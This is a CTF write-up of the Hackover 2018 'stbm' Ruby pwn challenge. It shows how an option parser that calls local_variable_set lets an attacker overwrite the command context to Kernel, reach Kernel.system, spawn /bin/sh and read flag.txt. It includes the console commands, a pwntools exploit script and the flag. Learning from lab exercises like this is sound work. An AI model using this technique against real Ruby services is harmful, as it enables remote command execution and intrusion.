ctf 0x03 / stbm [PWN]

Rubies on the loose

Job description: Kryssen-Trupp sadly lost their admin password for the STBM. A team of ‘ruby-firmware specialists’ is needed for the extraction of the ‘password’ (flag.txt). Shell access is granted for the interview.

We get shell access to ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz. Here’s what we get upon connection:

$ nc stbm.ctf.hackover.de 1337
 .----------------.  .----------------.  .----------------.  .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || |  _________   | || |    ______    | || | ____    ____ | |
| |   /  ___  |  | || | |  _   _  |  | || |   |_   _ \   | || ||_   \  /   _|| |
| |  |  (__ \_|  | || | |_/ | | \_|  | || |    | |_) |   | || |  |   \/   |  | |
| |   '.___`-.   | || |     | |      | || |    |  __'.   | || |  | |\  /| |  | |
| |  |`\____) |  | || |    _| |_     | || |   _| |__) |  | || | _| |_\/_| |_ | |
| |  |_______.'  | || |   |_____|    | || |  |_______/   | || ||_____||_____|| |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------'

Welcome to ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz.

© Copyright by Kryssen-Trupp 2018

Type help or see handbook for more information.

>

Okay, so let’s check out what we can actually do here:

> help

Available commands: available_modules, help, quit, switch_module, system, version

> available_modules

Available modules: DrillCommands, FirmwareCommands, MovementCommands, SystemCommands

>

We can see that we can execute different commands from different modules. Hmmmmm… FirmwareCommands sounds pretty cool! Let’s switch to that one and have a closer look:

> switch_module FirmwareCommands

> help

Available commands: available_modules, dump, help, quit, switch_module, update

>


Huh! Well, if we can dump the firmware, let’s do it!

> dump
#!/usr/bin/env ruby
puts(<<-'MOTD')
 .----------------.  .----------------.  .----------------.  .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || |  _________   | || |    ______    | || | ____    ____ | |
| |   /  ___  |  | || | |  _   _  |  | || |   |_   _ \   | || ||_   \  /   _|| |
| |  |  (__ \_|  | || | |_/ | | \_|  | || |    | |_) |   | || |  |   \/   |  | |
| |   '.___`-.   | || |     | |      | || |    |  __'.   | || |  | |\  /| |  | |
| |  |`\____) |  | || |    _| |_     | || |   _| |__) |  | || | _| |_\/_| |_ | |
| |  |_______.'  | || |   |_____|    | || |  |_______/   | || ||_____||_____|| |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------'

Welcome to ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz.

© Copyright by Kryssen-Trupp 2018

Type help or see handbook for more information.
MOTD

# use digest and base64 for MD5 checksum compare on firmware update
require "digest"
require "base64"
(...)

Yeah, that’s the stuff! So, we get a full firmware dump of the interface - you can get it here: firmware.rb. First thing that caught our eye was the firmware update functionality:

def update(new_firmware, options)
  update_password = File.read("flag.txt")

  decoded_firmware = Base64.decode64(new_firmware)
  firmware_checksum = Digest::MD5.hexdigest(decoded_firmware)

  firmware_valid = firmware_checksum == options.local_variable_get(:checksum)
  password_correct = (
    Digest::MD5.hexdigest(update_password) ==
    Digest::MD5.hexdigest("HO18CTF-#{options.local_variable_get(:password)}")
  )
  sleep(rand + 1.0)

  if firmware_valid && password_correct
    File.open("#{__FILE__}.new", "w") do |file|
      file.puts new_firmware
    end
    log "Firmware Update! Please issue reboot command via SystemCommands module."
  else
    log "Checksum Invalid or Password incorrect! Can't update Firmware."
  end
end

So, the firmware is updated after checking the checksum and update password hash (with a salt), that is loaded from the flag.txt file. Let’s try the update:

> update test checksum=555 password=lol
Checksum Invalid or Password incorrect! Can't update Firmware.

>

We’ve thought for a while how to bypass this, but decided that would be useless anyway, as the process would be restarted (the reboot command).

Ultimately what caught our eye yet again was:

def update(new_firmware, options)
  update_password = File.read("flag.txt")

What is important here is that the update method gets the option parameter - it contains all the options of the command.

What happens to those options?

if (/(?<command_name>[^\s]+)\s*(?<parameter>[^\s]+)?\s*((?<option_name>[^\s]+)=(?<option_value>[^\s]+))?/i =~ input) && command = Kernel.const_get(context).singleton_method(command_name)
  case
  when parameter && option_name
    raise ArgumentError, "command doesn't take options" if command.parameters.count < 2
    options = binding

    input.scan(/((?<option_name>[^\s]+)=(?<option_value>[^\s]+))/i) do |(option, value)|
      options.local_variable_set(option, value)
    end

    command.call(parameter, options)
  when parameter
    command.call(parameter)
  else
    command.call
  end
else
  raise NameError, "<none>"
end

This line:

options.local_variable_set(option, value)

is what is the problem! Why? Hm… how do you think the current module is set? You guessed it - via the local_variable_set function!

We can see the relevant part here:

def switch_module(module_name)
  if VALID_MODULES.include?(module_name)
    ROOT_MODULE.local_variable_set :context, module_name
  else
    log "Invalid Module: #{module_name}"

    CommonCommands.available_modules
  end
end

Once the module is switched, the function we want to call is fetched via get_singleton_method:

command = Kernel.const_get(context).singleton_method(command_name)

and called with our arguments:

# (...)
  command.call(parameter, options)
when parameter
  command.call(parameter)
else
  command.call
end

So, let’s write down what we know:

  • we have the update function that gets arguments
  • once arguments are parsed, each argument is set via local_variable_set
  • we can pass any arguments we want
  • the context set with local_variable_set is what determines where the function is called from
  • we control what function is executed

Hence: we can call any function we want from any module we imagine.

Let’s check this with the update command and Kernel.system:

> switch_module FirmwareCommands

> update test context=Kernel checksum=555 password=lol
Checksum Invalid or Password incorrect! Can't update Firmware.

> system id
uid=1000(ctf) gid=1000(ctf)

>

Yeah! So let’s read the flag:

> system ls
cant_bus.rb  flag.txt     stbm

> system cat flag.txt
(hang)

Wait, what? Well… we’ve done goofed! In this case we get to that line:

command.call(parameter)

which gets one parameter - hence it waits for input instead of reading the file.

We can quickly verify this:

> system ls
cant_bus.rb  flag.txt     stbm

> system ls ../
cant_bus.rb  flag.txt     stbm

But that’s not exactly an issue, since we can drop /bin/sh and do anything we want from there:

> system '/bin/sh'
~ $ ^[[46;5Rls
ls
cant_bus.rb  flag.txt     stbm
~ $ ^[[46;5Rcat flag.txt
cat flag.txt
hackover18{54fda39cd95ed88a5446953dbdf36a5d}
~ $ ^[[46;5R

BTW, I have automated this a bit using Python and the great pwntools library:

from pwn import *

r = remote('stbm.ctf.hackover.de', 1337)

r.send("switch_module FirmwareCommands\n")
r.send("update test context=Kernel checksum=555 password=lol\n")
r.send("system /bin/sh\n")
# ^-- since I'm lazy, just wait for "Checksum Invalid (...)"
#     before proceeding :-P
r.interactive()

Flag: hackover18{54fda39cd95ed88a5446953dbdf36a5d}

That was a pretty neat task, especially given I have no knowledge of Ruby whatsoever; I relied solely on the docs ;-)

Cheers!

Written on October 10, 2018